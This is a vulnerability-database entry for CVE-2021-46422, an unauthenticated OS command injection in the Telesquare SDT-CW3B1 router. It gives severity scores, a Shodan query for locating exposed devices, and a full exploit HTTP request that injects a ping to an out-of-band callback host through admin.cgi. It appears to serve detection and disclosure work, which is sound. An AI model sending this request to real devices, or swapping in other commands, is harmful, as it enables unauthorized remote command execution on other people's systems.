| Title | SDT-CW3B1 1.1.0 - OS Command Injection |
|---|---|
| Author | badboycxcc,prajiteshsingh |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93876 |
| CVE ID | CVE-2021-46422 |
| CWE ID | CWE-78 |
| Shodan Query | html:"SDT-CW3B1" |
| Tags | cve2021 cve packetstorm telesquare rce router injection edb vkev vuln |
Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ping${IFS}-c${IFS}1${IFS}d5jocuple0o2lh0g0ti0ruwgatw8nig7n.oast.online HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46422.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46422.pcap
N/AN/A